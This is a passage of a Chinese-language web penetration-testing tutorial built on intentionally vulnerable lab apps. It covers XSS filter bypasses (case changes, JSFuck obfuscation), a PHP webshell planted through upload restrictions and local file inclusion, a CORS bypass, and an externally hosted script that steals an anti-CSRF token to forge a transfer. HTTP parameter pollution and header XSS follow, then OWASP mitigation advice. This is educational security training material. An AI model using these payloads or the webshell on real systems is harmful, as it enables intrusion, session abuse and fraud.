在结果中,我们看到一个由扫描器评定为高影响的漏洞,并在线查找相关信息,发现它是一个 SQL 注入漏洞,有几个公开的利用方式。

此漏洞在 Drupal 的安全公告 SA-CORE-2014-005 中披露(www.drupal.org/forum/newsletters/security-advisories-for-drupal-core/2014-10-15/sa-core-2014-005-drupal-core-sql)。根据该公告,这是一个 SQL 注入漏洞,可用于特权升级、PHP 执行,并且正如我们在例子中看到的那样,在受影响的主机上执行命令。

我们选择在 Metasploit 中查找现有的利用方式。我们使用的利用方式有两种方法可以实现远程 shell:第一种方法利用 SQLi 将恶意内容上传到 Drupal 的缓存,并触发该缓存条目执行有效负载。我们的利用方式选择了这个选项,因为我们没有修改TARGET参数(从0改为1)。第二种方法是在 Drupal 中创建一个管理员用户,并使用该用户上传 PHP 代码以供服务器执行。

最后,我们在服务器上获得了有限的 shell,可以执行非交互式命令并检索信息。

第九章:绕过基本安全控制

本章将涵盖以下几个主题:

  • 跨站脚本攻击中的基本输入验证绕过

  • 利用混淆代码进行跨站脚本攻击

  • 绕过文件上传限制

  • 避免 Web 服务中的 CORS 限制

  • 使用跨站脚本攻击绕过 CSRF 保护和 CORS 限制

  • 利用 HTTP 参数污染

  • 通过 HTTP 头利用漏洞

介绍

到目前为止,在本书中,我们已经识别并利用了在被认为是低垂果实的情况下的漏洞,也就是说,我们知道漏洞的存在,在利用它们时,我们没有遇到任何防护机制,或者没有被 Web 应用防火墙或类似的安全系统阻止。

在实际渗透测试中最常见的情况是,开发人员已经努力构建了一个强大且安全的应用程序,漏洞可能不容易发现,且可能已经完全或部分解决,因此它们要么不再出现在应用程序中,要么至少很难被找到和利用。对于这种情况,我们需要在我们的工具箱中拥有能够发现克服这些复杂情况的方法的工具,并能够识别和利用开发人员认为自己已经防止的漏洞,但他们的防护措施可能不够完善。

本章将讨论几种绕过保护和安全控制的方法,这些保护和控制并没有缓解漏洞,而是试图隐藏漏洞或使其利用更加复杂,这并不是解决安全问题的理想方式。

在跨站脚本攻击中的基本输入验证绕过

开发人员执行输入验证的最常见方法之一是通过在用户提供的信息中黑名单某些字符或词汇。此黑名单方法的主要缺点是,由于每天都会发现新的攻击向量,因此可能会错过一些本可以用于攻击的元素。

在这个例子中,我们将演示一些绕过黑名单验证弱实现的方法。

如何做到...

我们将从 DVWA 开始,使用我们脆弱的虚拟机,并将安全级别设置为中等。还需将 Burp Suite 设置为浏览器的代理:

  1. 首先,让我们看看在这个安全级别下,脆弱页面的行为。正如以下截图所示,当尝试注入脚本代码时,script 标签从输出中被移除:

  1. 将请求发送到重放器并再次发出。正如下一张截图所示,打开的 script 标签已被移除:

  1. 我们可以尝试多种方法来克服这个障碍。实现这种保护时,开发人员常犯的一个错误是,在验证和清理输入时进行大小写敏感的比较。再次发送请求,但这次更改script这个词的大小写,使用sCriPt

  1. 根据 Repeater 中的输出,以及下图所示的内容,这一改变足以利用跨站脚本攻击XSS)漏洞:

它是如何工作的……

在这个配方中,我们演示了一种非常简单的方式来绕过一个实现不佳的安全控制,因为大多数编程语言在比较字符串时是区分大小写的。一个简单的黑名单不足以防止注入攻击。不幸的是,渗透测试人员在现实应用中看到这些类型的实现并不少见。

还有更多……

有许多方式可以通过大小写、编码以及多种不同的 HTML 标签和事件来触发 XSS 漏洞,因此几乎不可能创建一个全面的禁止使用的单词或字符列表。我们在这次练习中的一些其他替代方法如下:

  • 使用不同的 HTML 标签,例如&lt;img>&lt;video>&lt;div>,并将代码注入其src参数或其事件处理程序中,如onloadonerroronmouseover

  • 嵌套多个<script>标签,例如&lt;scr&lt;script>ipt>。这样,如果&lt;script>标签被删除,那么删除后会形成另一个标签。

  • 尝试对整个有效载荷或其中的某些部分使用不同的编码;例如,我们可以将&lt;script>进行 URL 编码为%3c%73%63%72%69%70%74%3e

一个更全面的验证和过滤绕过列表可以在www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet找到。

利用混淆代码进行跨站脚本攻击

在前面的配方中,我们面对了一种过滤机制,该机制移除了开头的<script>标签。由于&lt;script>并不是 XSS 攻击中唯一可能使用的标签,并且 JavaScript 代码在大小写和结构上比 HTML 更具一致性,一些过滤器试图限制使用属于 JavaScript 代码的单词和字符,例如 alert、cookie 和 document。

在这个配方中,我们将探索一种替代方法,也许是有些极端的,通过使用一种所谓的神秘语言——JSFuck(JSFuck.com)来进行代码混淆。

如何操作……

在这个配方中,我们将使用由 Magical Code Injection Rainbow 提供的原型功能,这是我们 OWASP BWA 脆弱虚拟机中包含的一个应用程序:

  1. 首先,进入应用程序并从菜单中选择 XSSmh,进入 XSS 沙箱。在这里,我们可以设置一个易受 XSS 攻击的字段,并使用自定义类型的清理。

  2. 在我们的例子中,我们将使用最后的清理级别:不区分大小写并重复删除黑名单项,匹配关键字。

  3. 在“清理参数”中,我们需要输入黑名单词汇和字符——添加 alert,document,cookie,href,location,and src。这样会大大限制可能利用该应用程序的攻击者的操作范围。

  4. 输入清理部分应该如下所示:

  1. 现在,测试一个常见的注入,它在警告消息中显示 cookie,如下所示:

如你所见,未显示任何警告。这是因为我们配置的清理选项。

  1. 为了绕过这个保护机制,我们需要找到一种方法来混淆代码,使其通过验证机制的审查,同时仍然被浏览器识别并执行。这时,JSFuck 就派上用场了。在你的本地主机上,导航到 jsfuck.com。该网站描述了这个语言以及它如何利用仅有的六个字符来生成 JavaScript 代码,分别是 [, ], (, ), +, 和 !

  2. 你还会发现这个网站有一个表单,可以将普通的 JavaScript 转换为 JSFuck 表示法;试着将 alert(document.cookie); 转换成 JSFuck,这是我们尝试执行的有效载荷。正如下面的截图所示,这个简单的字符串会生成一个几乎 13,000 个字符的代码,这对于在 GET 请求中发送来说太多了。我们需要找到一种方法来减少这个数量:

  1. 我们可以做的是,不混淆整个有效载荷,而仅仅混淆那些需要绕过清理的部分。确保没有设置 Eval Source 选项,并混淆以下字符串:

    • ert

    • d

    • e

  2. 现在,我们将把混淆后的代码整合成一个完整的有效载荷。由于 JSFuck 输出被 JavaScript 引擎作为文本解析,我们需要使用 eval 函数来执行它。最终的有效载荷如下:

&lt;script>eval("al"+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+"('XSS '+"+([][[]]+[])[!+[]+!+[]]+"ocument.cooki"+(!![]+[])[!+[]+!+[]+!+[]]+")");&lt;/script>
  1. 将有效载荷插入到注入字符串中,然后点击 Inject。代码应该如下所示执行:

它是如何工作的...

通过混淆有效载荷,我们能够绕过基于词汇和字符识别的安全控制。我们选择使用 JSFuck 语言来混淆代码,因为它实际上是 JavaScript。

JSFuck 通过操作布尔值和预定义常量来混淆代码,从而形成可打印字符。例如,要获取字符 a

  1. afalse 的第二个字母,也可以表示为数组的第二个元素:false[1]。

  2. 这也可以表示为 (false+[])[1]

  3. 此外,false 作为布尔值,是空数组 ![] 的否定。所以,上面的表达式也可以写作 (![]+[])[1]

  4. 数字 1 也可以表示为 +true,这会得到 (![]+[])[+true]

  5. 最后,我们都知道 true 是 false 的相反,那么 !![],我们的最终字符串是 (![]+[])[+!![]]

我们只对每个被列入黑名单的单词的几个字母进行了混淆,因此我们没有做一个太大的有效负载,但也成功绕过了它。由于这个混淆生成了一个字符串,我们需要使用 eval 来指示解释器将该字符串作为可执行代码处理。

绕过文件上传限制

在前面的章节中,我们已经了解了如何避免一些文件上传中的限制。在本节中,我们将面临一个更完整、虽然仍然不足够的验证,并串联另一个漏洞,以便首先将 Webshell 上传到服务器,然后将其移动到一个可以执行的目录中。

如何操作…

对于本节,我们需要在我们的易受攻击虚拟机中运行 Mutillidae II,并将其设置为安全级别,使用菜单中的切换安全选项进行设置,并使用 Burp Suite 作为代理:

  1. 在 Mutillidae II 的菜单中,进入 Others | Unrestricted File Upload | File Upload。

  2. 第一次测试将尝试上传一个 PHP Webshell。你可以使用我们在前几章中使用的 Webshell,或者自己制作一个。如下所示,上传会失败,我们将收到失败原因的详细描述:

从上面的响应中,我们可以推断出文件被上传到服务器的 /tmp 目录,首先使用一个随机生成的文件名,然后检查文件的扩展名和类型,如果允许,文件将被重命名为其原始名称。因此,为了上传并执行一个 PHP 文件(一个 Webshell),我们需要更改其扩展名和请求中的 Content-Type 头。

  1. 让我们首先尝试上传一个脚本,该脚本将告诉我们 Web 服务器的工作目录(或文档根目录),这样我们就知道上传后该将 Webshell 复制到哪里。创建一个包含以下代码的文件 sf-info.php
&lt;?
system('pwd');
system('ls');
?>
  1. 通过拦截上传请求,并将 filename 参数中的扩展名更改为 .jpg,以及将 Content-Type 更改为 image/jpeg,按如下方式上传:

  1. 现在,转到 BurpSuite 的 Proxy History 并将任何 GET 请求发送到 Mutillidae 的 Repeater。我们将利用这个功能,通过利用本地文件包含漏洞来执行我们最近上传的文件。

  2. Repeater 中,将 URL 中 page 参数的值替换为 ../../../../tmp/sf-info.jpg,然后发送请求。结果,如下图所示,将告诉我们 Web 服务器的工作目录以及该目录的内容:

  1. 现在,让我们创建 Webshell 代码,并将以下代码放入一个名为 webshell.php 的文件中:
&lt;?
system($_GET['cmd']);
echo '&lt;p>Type a command: &lt;form method="GET">&lt;input type="text" name="cmd">&lt;/form>&lt;/p>';
?>
  1. 上传文件,并按如下方式更改其扩展名和类型:

现在的问题是如何通过 Web Shell 执行命令。我们不能直接调用它,因为它存储在/tmp目录下,浏览器无法直接访问;我们可能能够利用文件包含漏洞,但由于 Web Shell 的代码会与包含脚本(index.php)的代码结合使用,因此我们依赖于该脚本不会对提供的参数进行任何过滤或修改。为了解决这些问题,我们将向服务器上传另一个文件,该文件将 Web Shell 重命名为 .php 并将其移动到 Web 根目录。

  1. 将上传sf-info.php的请求发送到重放器。

  2. 将文件名更改为rename.jpg,并调整Content-Type

  3. 将文件内容替换为以下内容:

&lt;?
system('cp /tmp/webshell.jpg /owaspbwa/mutillidae-git/webshell.php');
system('ls');
?>
  1. 以下截图显示了它应该呈现的样子:

  1. 正如我们在sf-info.jpg中所做的,利用 LFI 执行rename.jpg,如下图所示:

  1. 现在,我们的 Web Shell 应该位于应用程序的根目录中。访问http://192.168.56.11/mutillidae/webshell.php。以下截图展示了通过它执行系统命令的过程:

它是如何工作的...

在这个教程中,我们找到了一种绕过文件上传页面限制的方法,从而将恶意代码上传到服务器。然而,由于这些限制,上传的文件不能直接由攻击者执行,因为它们必须作为图片上传,并且浏览器和服务器会将其视为图片处理。

我们使用了本地文件包含(Local File Inclusion,LFI)漏洞来执行一些上传的文件。这可以作为绕过文件类型限制的一种方法,但无法实现更复杂的功能,如 Web Shell。首先,我们执行命令以了解服务器的内部设置,并发现存储可执行代码的目录。

一旦我们了解了内部文件系统,我们上传了我们的 Web Shell,并添加了第二个脚本将其复制到 Web 根目录,这样我们就可以直接从浏览器调用它。

绕过 Web 服务中的 CORS 限制

跨域资源共享CORS)是一组配置在服务器端的策略,告诉浏览器服务器是否允许来自外部站点的脚本代码生成的请求(跨域请求),以及允许哪些站点,或者是否只接受来自其自身托管的页面生成的请求(同源)。正确配置的 CORS 策略有助于防止跨站请求伪造(CSRF)攻击,虽然它并不足以完全防止,但可以阻止一些攻击向量。

在本教程中,我们将配置一个不允许跨域请求的 Web 服务,并创建一个能够在这种请求下伪造请求的页面。

准备工作

对于这个教程,我们将使用“Damn Vulnerable Web Services”。它可以从其 GitHub 地址 github.com/snoopysecurity/dvws 下载。下载最新版本并将其复制到 OWASP BWA 虚拟机中(或者直接下载到虚拟机);我们将把代码放在 /var/www/dvwebservices/ 目录下。

这段代码是一个脆弱的 Web 服务集合,目的是进行安全性测试;我们将修改其中一个服务,使其不那么脆弱。使用文本编辑器打开 /var/www/dvwebservices/vulnerabilities/cors/server.php 文件;可以使用默认包含在虚拟机中的 nano:nano /var/www/dvwebservices/vulnerabilities/cors/server.php

查找所有设置了 Access-Control-Allow-Origin 头的实例,并将每一行注释掉,具体操作如下一个截图所示:

我们还需要添加几行代码,以正确处理请求参数;最终代码应该如下所示:

&lt;?php
$dictionary = array('secretword:one' => 'Kag8lzk0nM', 'secretword:two' => 'U6pIy6w0yX', 'secretword:three' => '9c0v73UWkj');
if ($_SERVER['REQUEST_METHOD'] == 'OPTIONS') {
  if (isset($_SERVER['HTTP_ACCESS_CONTROL_REQUEST_METHOD']) && $_SERVER['HTTP_ACCESS_CONTROL_REQUEST_METHOD'] == 'POST') {
  //header('Access-Control-Allow-Origin: *');
  header('Access-Control-Allow-Headers: X-Requested-With, content-type, access-control-allow-origin, access-control-allow-methods, access-control-allow-headers');
  }
  exit;
}

$obj = (object)$_POST;
if(!isset($_POST["searchterm"]))
{
  $json = file_get_contents('php://input');
  $obj = json_decode($json);
}

if (array_key_exists($obj->searchterm, $dictionary)) {
 $response = json_encode(array('result' => 1, 'secretword' => $dictionary[$obj->searchterm]));
}
else {
 $response = json_encode(array('result' => 0, 'secretword' => 'Not Found'));
}
header('Content-type: application/json');
if (isset($_SERVER['HTTP_ORIGIN'])) {
 //header("Access-Control-Allow-Origin: {$_SERVER['HTTP_ORIGIN']}");
 header('Access-Control-Allow-Credentials: true');
} else {
 //header('Access-Control-Allow-Origin: *');
 header('Access-Control-Allow-Credentials: true');
}
echo $response;
?>

如何操作...

一旦代码部署到服务器,我们可以在 http://192.168.56.11/dvwebservices/vulnerabilities/cors/client.php 浏览 Web 服务客户端,并开始我们的练习。记得使用如 Burp Suite 或 ZAP 这样的代理工具记录所有请求:

  1. 首先,让我们看一下正常操作,浏览到 client.php。它会显示由服务器生成的密钥词。

  2. 如果我们查看代理工具 Burp Suite,在这种情况下,我们可以看到客户端向 server.php 发出了 POST 请求。此请求中有一些需要注意的事项,以下截图做了示例:

    • Content-Type 头是 application/json,这意味着请求体采用 JSON 格式。

    • 请求的主体不是标准的 HTTP 请求格式(param1=value&param2=value),而是按照头部所规定的 JSON 对象定义。

  1. 假设我们想对该请求进行 CSRF 攻击。如果我们希望 HTML 页面以 JSON 格式发出请求,就不能使用 HTML 表单;我们需要使用 JavaScript。创建一个 HTML 文件,例如 CORS-json-request.html,并使用以下代码:
&lt;html>
&lt;script>
function submit_request()
{
  xmlhttp=new XMLHttpRequest();
  xmlhttp.open("POST","http://192.168.56.11/dvwebservices/vulnerabilities/cors/server.php", true);
  xmlhttp.onreadystatechange=function() 
  {
    if(xmlhttp.readyState==4 && xmlhttp.status == 200 )
    {
      document.write(xmlhttp.responseText);
    }
  }
  xmlhttp.send('{"searchterm":"secretword:one"}');
}
&lt;/script>
&lt;body>
&lt;input type="button" onclick="submit_request()" value="Submit request">
&lt;/body>
&lt;/html>
  1. 上述代码复制了 client.php 发出的请求。在浏览器中打开它并点击“提交请求”。什么也不会发生,接下来的截图显示了原因:

根据前述错误,请求被浏览器阻止,因为服务器没有在其 Access-Control-Allow-Origin 头中指定允许的来源。发生这种情况是因为我们正在从服务器外部的来源请求一个资源(server.php),该资源是我们 Kali 虚拟机中的本地文件。

  1. 绕过这一限制的最简单方法是创建一个 HTML 页面,该页面发送与 HTML 表单生成的 POST 请求相同的参数,因为浏览器在提交表单时不会检查 CORS 策略。创建另一个 HTML 文件,CORS-form-request.html,其内容如下:
&lt;html>
&lt;body>
&lt;form method="POST" action="http://192.168.56.11/dvwebservices/vulnerabilities/cors/server.php">
Search term: &lt;input type="text" name="searchterm" value="secretword:one">
&lt;input type="submit" value="Submit form">
&lt;/form>
&lt;/body>
&lt;/html>

浏览器在提交 HTML 表单时不会检查 CORS 策略;然而,表单中只能使用 GETPOST 方法,这就排除了 Web 服务中常见的其他方法,如 PUTDELETE

  1. 在浏览器中加载 CORS-form-request.html,它应该如下所示:

  1. 点击提交表单请求,并查看服务器如何响应一个包含秘密词的 JSON 对象:

  1. 在 Burp Suite 中检查请求并验证 Content-Type 头是否为 application/x-www-form-urlencoded

它是如何工作的...

本示例的测试应用程序是一个 Web 页面(client.php),它使用 REST Web 服务(server.php)来获取一个秘密词。我们尝试使用本地系统中的 Web 页面执行 CSRF 攻击,但失败了,因为服务器没有定义 CORS 策略,浏览器默认拒绝跨源请求。

然后我们创建了一个 HTML 表单,发送与 JavaScript 请求相同的参数,但以 HTML 表单格式发送,并且成功了。Web 服务接收多种格式的信息(如 XML、JSON 或 HTML 表单格式)并不罕见,因为它们旨在与许多不同的应用程序进行接口;然而,这种开放性可能会使 Web 服务面临攻击,特别是在没有正确处理 CSRF 等漏洞时。

使用跨站脚本(Cross-Site Scripting)绕过 CSRF 保护和 CORS 限制

作为渗透测试人员,我们在向客户或开发者描述 XSS 时,通常会关注其篡改和钓鱼/信息窃取的影响,而忽略了 XSS 攻击者可以利用受害者的会话伪造请求,执行受害者在应用程序内可以执行的任何操作这一点。

在这个示例中,我们将使用 XSS 攻击来伪造一个请求,该请求带有一个防 CSRF token。

如何操作...

对于这个示例,我们将在 bee-box 中使用 bWApp 应用程序,示例中的 URL 为 http://192.168.56.13/bWapp,并将安全级别设置为中等。

  1. 登录到 bWApp 后,转到漏洞“跨站请求伪造(转账金额)”。

  2. 输入一个账户号码和金额,点击转账按钮。

  3. 让我们在 Burp Suite 中分析以下请求。所有参数都是通过 GET 请求发送的;通过查看 URL 中包含的 token 参数,我们可以推测存在 CSRF 保护:

  1. 我们将尝试利用一个 XSS 漏洞,并利用它触发转账请求。为此,我们首先需要找到客户端存储令牌的位置,以便提取它。查看响应并寻找一个名称为token的输入标签,并记录下id参数。下图显示它是表单中的一个隐藏参数:

  1. 接下来,我们需要证明存在可利用的 XSS 漏洞,因此转到漏洞XSS-反射型(GET)并尝试利用它。如以下截图所示,它是可利用的:

  1. 我们将利用这个 XSS 漏洞加载一个托管在我们控制的服务器上的 JavaScript 文件,在本次练习中是我们的 Kali Linux 虚拟机。创建一个名为forcetransfer.js的文件,包含以下代码:
xmlhttp=new XMLHttpRequest();
xmlhttp.open("GET","http://192.168.56.13/bWAPP/csrf_2.php", true);
xmlhttp.onreadystatechange=function() 
{
  if(xmlhttp.readyState==4 && xmlhttp.status == 200 )
  {
    var parser = new DOMParser();

    var responseDoc = parser.parseFromString (xmlhttp.responseText, "text/html");

    var token=responseDoc.getElementById('token').value;
    var URL="http://192.168.56.13/bWAPP/csrf_2.php?account=123-45678-90&amount=100&token=" + token + "&action=transfer"

    xmlhttp2=new XMLHttpRequest();
    xmlhttp2.open("GET",URL, true);
    xmlhttp2.send();
  }
}
xmlhttp.send();
  1. 启动 Kali Linux 中的 Apache web 服务器,并将文件移动到网站根目录(默认路径为*/var/www/html*)。

  2. 现在,利用 XSS 设置,将恶意文件作为脚本标签的来源。在登录到 bWApp 的情况下,打开新标签页,访问http://192.168.56.13/bWAPP/xss_get.php?firstname=test**%3Cscript+src%3Dhttp%3A%2F%2F192.168.56.10%2Fforce-transfer.js%3E%3C%2Fscript%3E**&lastname=asd&form=submit。XSS 有效载荷部分加粗显示。

  3. 脚本会成功加载并执行。为了查看实际发生了什么,查看下图所示的 Burp Suite 代理历史记录:

首先,进行 XSS 攻击,然后加载我们的恶意文件forcetransfer.js,它调用csrf_2.php,不带任何参数。这时,我们的脚本获取了反 CSRF 令牌,用它发送一个新的请求到csrf_2.php,这次带上了所有必要的参数来进行转账,成功了。

它是如何工作的...

对于这个操作,我们首先识别了一个请求,虽然使用了唯一的令牌进行了有效的保护,但我们仍然希望利用它。我们还发现同一域(或应用)在其他页面存在 XSS 漏洞。

通过利用 XSS 漏洞,我们能够加载托管在目标域外的脚本代码,并首先提取令牌,然后伪造一个包含合法反 CSRF 保护的请求。

我们使用的脚本代码通过 JavaScript 向我们想要利用的页面发送请求。一旦服务器返回响应(if(xmlhttp.readyState==4 && xmlhttp.status == 200 )),它会处理响应并提取令牌(var token=responseDoc.getElementById('token').value;)。这就是为什么我们在分析原始响应并检测令牌时需要记录下id参数。提取到下一个有效反 CSRF 令牌后,创建并发送一个新请求;这个请求包含攻击者希望设置的accountamount值以及之前提取的令牌。

利用 HTTP 参数污染

HTTP 参数污染HPP)攻击发生在 HTTP 参数在同一请求中多次重复,且服务器以不同方式处理每个实例,从而导致应用程序出现意外行为。

在这个教程中,我们将演示如何利用 HPP,并解释它如何被用来绕过某些安全控制。

如何操作...

对于这个教程,我们将再次使用 bWApp,因为它有一个非常具有示范性的 HPP 示例:

  1. 登录到我们的易受攻击虚拟机中的 bWApp,进入 HPP(http://192.168.56.11/bWAPP/hpp-1.php)。

  2. 先使用正常流程;有一个表单要求填写名字。提交名字后,它要求用户为一部电影投票,最后显示用户的投票结果。

  3. 请注意,所有参数(movienameaction)都出现在最后一步的 URL 中。让我们在 URL 的末尾添加一个不同值的第二个电影参数,如下图所示:

看起来服务器只会处理传递给参数的最后一个值。另外,请注意,name参数必须通过脚本添加到请求中,因为我们只在第一步中引入了它。

  1. 为了使攻击向量更加逼真,我们将尝试强制投票总是投给电影编号 2,《钢铁侠》,因为托尼·斯塔克每次都想获胜

  2. 回到第一步,并将以下内容作为名字引入:test2&movie=2; 我们在名字后面注入了电影参数。提交名字后,下一步应该会显示如下内容:

  1. 投票给任何电影,但不要投给《钢铁侠》。如下面的截图所示,结果会显示你实际上投票给了《钢铁侠》。

它是如何工作的...

在这个教程中,我们看到在单一请求中拥有多个相同的参数实例如何影响应用程序处理它的方式。此情况的处理方式取决于处理请求的 Web 服务器;以下是一些示例:

  • Apache/PHP:只处理最后一个出现的值

  • IBM HTTP Server/JSP:只处理第一个出现的值

  • IIS/ASP.NET:所有值都会被连接起来,用逗号分隔

这种缺乏标准化的行为可以在特定情况下被用来绕过保护机制,如Web 应用防火墙WAF)或入侵检测系统IDS)。想象一下一个并不罕见的企业场景,一个基于 Tomcat 的应用程序运行在 IBM 服务器上,并受到基于 Apache 的 WAF 的保护;如果我们发送一个包含多个易受攻击参数实例的恶意请求,并在第一个实例中放入注入字符串,在最后一个实例中放入有效值,WAF 会认为请求是有效的,而 Web 服务器将处理第一个值,这是一个恶意注入。

HPP 还可能允许在某些情况下绕过应用程序中的一些控制,当不同的实例被发送到请求的不同部分,如 URL、头部或主体,并且由于糟糕的编程实践,应用程序中的不同方法可能从整个请求或其特定部分获取参数的值。例如,在 PHP 中,我们可以从请求的任何部分(URL、主体或 cookie)获取参数,而不需要知道哪个部分使用了 $_REQUEST[] 数组,或者可以分别从专门处理 URL 或主体的数组 $_GET[]$_POST[] 获取相同的值。所以,如果 $_REQUEST[] 被用来查找一个应该通过 POST 请求发送的值,但该参数在 URL 中被污染,结果可能会包含 URL 中的参数,而不是实际需要的参数。

有关此漏洞的更多信息和一些示例,请访问专门介绍该漏洞的 OWASP 页面,www.owasp.org/index.php/Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004)

通过 HTTP 头部利用漏洞

当涉及到输入验证和清理时,一些开发人员关注 URL 和主体参数,却忽略了整个请求可以在客户端被篡改,允许恶意有效负载被包含在 cookies 和头部值中。

在这个例子中,我们将识别并利用一个漏洞,该漏洞发生在一个在响应中反射的头部值。

如何操作...

我们现在回到 Mutillidae。这次,我们将使用 OWASP 2013 | A1 - 注入(SQL)| 绕过认证 | 登录练习:

  1. 首先,发送一个包含任何不存在的用户名和密码的请求,以便登录失败。

  2. 将请求发送到 Burp Suite 的 Repeater,并提交以便我们可以获取参考响应。

  3. 进入 Repeater 后,我们将在 User-Agent 头部测试 SQL 注入向量,并在头部值后添加 '+and+'1'='

  4. 如果我们比较两个请求的响应,会发现包含注入的那个比原始响应大了几个字节,如下截图所示:

  1. 为了简化发现两次响应之间到底发生了什么变化的过程,可以将它们都发送到 Burp Suite 的 Comparer(右键点击响应并从菜单中选择“发送到 Comparer”),然后进入 Comparer 标签,你将看到类似这样的内容:

  1. 点击 Words,因为我们要比较文本,找出其中变化的单词。

  2. 在比较对话框中,选择右下角的“同步视图”复选框,寻找被高亮显示的差异。一些比较明显的东西,比如服务器的日期,肯定会有所不同。我们要找的是与我们注入的有效负载相关的差异。下一张截图展示了一个相关的差异。

所以,我们在 User-Agent 头部的负载被服务器直接反射了。这可能意味着该头部存在 XSS 漏洞,让我们来试试。

  1. 返回浏览器并发送另一个登录尝试,但这次在 Burp Suite 中拦截请求。

  2. 通过添加&lt;img src=X onerror="alert('XSS')">来修改 User-Agent 头部。接下来的截图展示了一个示例:

  1. 提交请求后,负载将按以下方式执行:

它是如何工作的...

在这个示例中,我们在登录表单中测试 SQL 注入,但通过分析服务器的响应,我们注意到 User-Agent 头部被反射回来了,这就作为了可能存在 XSS 漏洞的指示。接着,我们成功地通过将&lt;IMG>标签添加到头部来利用了这个 XSS 漏洞。

头部值,尤其是 User-Agent,通常会存储在应用程序和 Web 服务器日志中,这导致通过这些头部发送的负载不会直接由目标应用程序处理,而是由 SIEM(安全信息和事件管理)系统以及其他日志分析器和聚合器处理,这些系统本身也可能存在漏洞。

第十章:OWASP Top 10 漏洞缓解

本章将介绍以下配方:

  • A1 – 防止注入攻击

  • A2 – 构建适当的认证和会话管理

  • A3 – 保护敏感数据

  • A4 – 安全使用 XML 外部实体

  • A5 – 确保访问控制安全

  • A6 – 基本安全配置指南

  • A7 – 防止跨站脚本攻击(XSS)

  • A8 – 实现对象序列化与反序列化

  • A9 – 在第三方组件中查找已知的漏洞

  • A10 – Web 应用安全的日志记录与监控

介绍

每次渗透测试的目标都是识别应用程序、服务器或网络中的潜在薄弱点;这些薄弱点可能是攻击者获取敏感信息或特权访问的机会。检测这些漏洞的原因不仅是为了知道它们的存在并计算与之相关的风险,还要努力减轻这些风险或将其降低到最低风险水平。

本章我们将查看一些示例和建议,了解如何缓解 OWASP 列出的最关键 Web 应用程序漏洞,具体内容可以参考 www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

A1 – 防止注入攻击

根据 OWASP,Web 应用程序中最严重的漏洞类型是某种类型的代码注入,如 SQL 注入、操作系统命令注入和 HTML 注入。

这些漏洞通常是由于应用程序未进行良好的输入验证引起的。在本配方中,我们将介绍一些在处理用户输入和构建使用这些输入的查询时的最佳实践。

如何做...

  1. 防止注入攻击的第一步是正确验证输入。在服务器端,可以通过编写自定义验证程序来实现,尽管最好的选择是使用语言自带的验证程序,因为它们被广泛使用和测试。一个好的例子是 PHP 中的 filter_var 或 ASP.NET 中的验证助手。例如,PHP 中的邮箱验证类似如下:
function isValidEmail($email){  
    return filter_var($email, FILTER_VALIDATE_EMAIL); 
} 
  1. 在客户端,通过创建 JavaScript 验证函数并使用正则表达式来实现验证。例如,邮箱验证程序如下:
function isValidEmail (input) 
{ 
  var result=false; 
  var email_regex = /^[a-zA-Z0-9._-]+@([a-zA-Z0-9.-]+.)+[a-zA-Z0-9.-]{2,4}$/; 
  if ( email_regex.test(input) ) { 
    result = true; 
  } 
  return result; 
} 
  1. 对于 SQL 注入,避免将输入值与查询拼接也是非常有用的。相反,应该使用参数化查询,也叫准备语句。每种编程语言都有其自己的版本:

    • PHP 与 MySQLi:
$query = $dbConnection->prepare('SELECT * FROM table WHERE name = ?'); $query->bind_param('s', $name); $query->execute(); 
    • C#:
string sql = "SELECT * FROM Customers WHERE CustomerId = @CustomerId"; 
SqlCommand command = new SqlCommand(sql); 
command.Parameters.Add(new SqlParameter("@CustomerId", System.Data.SqlDbType.Int)); 

command.Parameters["@CustomerId"].Value = 1; 
    • Java:
String custname = request.getParameter("customerName");  

String query = "SELECT account_balance FROM user_data WHERE user_name =? ";   

PreparedStatement pstmt = connection.prepareStatement( query ); 
pstmt.setString( 1, custname);  
ResultSet results = pstmt.executeQuery( ); 
  1. 遵循深度防御方法,在注入成功的情况下,限制可能造成的损害也是非常有用的。为此,使用低权限的系统用户来运行数据库和 Web 服务器。确保允许应用程序连接到数据库服务器的用户不是数据库管理员。

  2. 禁用或删除允许攻击者执行系统命令或提升权限的存储过程和命令,例如 MS SQL Server 中的xp_cmdshell

它是如何工作的...

防止任何类型代码注入攻击的关键部分始终是正确的输入验证,包括客户端和服务器端的验证。

对于 SQL 注入,始终使用参数化查询或预处理查询,而不是将 SQL 语句与输入拼接在一起。参数化查询将函数参数插入 SQL 语句的指定位置,消除了程序员通过拼接构建查询的需要。

在本教程中,我们使用并推荐了语言内置的验证函数,但如果需要使用正则表达式验证特殊类型的输入,您也可以创建自己的验证函数。

除了执行正确的验证外,我们还需要在有人成功注入代码的情况下减少影响。这可以通过在操作系统中为 web 服务器、以及在数据库服务器的数据库和操作系统中,正确配置用户权限来实现。

另见

在数据验证方面,最有用的工具是正则表达式。它们还使渗透测试人员在处理和过滤大量信息时的工作变得更加轻松,因此掌握它们非常方便。我建议您查看以下网站:

  • www.regexr.com/: 这是一个非常好的网站,我们可以在这里获取示例和参考资料,测试自己的表达式,以检查字符串是否匹配。

  • www.regular-expressions.info:该网站包含教程和示例,教您如何使用正则表达式。它还提供了有关最流行编程语言和工具的具体实现的有用参考。

  • www.princeton.edu/~mlovett/reference/Regular-Expressions.pdf(正则表达式 完整教程)由 Jan Goyvaerts 编写:正如标题所示,这是一本非常完整的正则表达式教程,包括多种编程语言的示例。

A2 – 构建正确的认证和会话管理

错误的认证和会话管理是如今 web 应用程序中第二大关键漏洞。

认证是用户证明其身份的过程;通常通过用户名和密码完成。该领域中的一些常见缺陷包括宽松的密码策略和通过模糊化手段的安全性(在所谓隐藏的资源中缺乏认证)。

会话管理是处理已登录用户会话标识符的过程;在 Web 服务器中,通常通过实现会话 cookie 和令牌来完成。攻击者可以使用社交工程、跨站脚本、CSRF 等手段植入、窃取或劫持这些标识符。因此,开发者必须特别注意这些信息的管理方式。

在本教程中,我们将介绍在实施用户名/密码认证和管理已登录用户的会话标识符时的一些最佳实践。

如何做到……

  1. 如果应用程序中有一个页面、表单或任何仅应由授权用户查看的信息,确保在显示之前进行适当的身份验证。

  2. 确保用户名、ID、密码和所有其他认证数据是

    区分大小写且对每个用户唯一。

  3. 建立强密码策略,强制用户创建符合以下最基本要求的密码:

    • 访问被拒绝

    • 超过 8 个字符,最好为 10 个字符

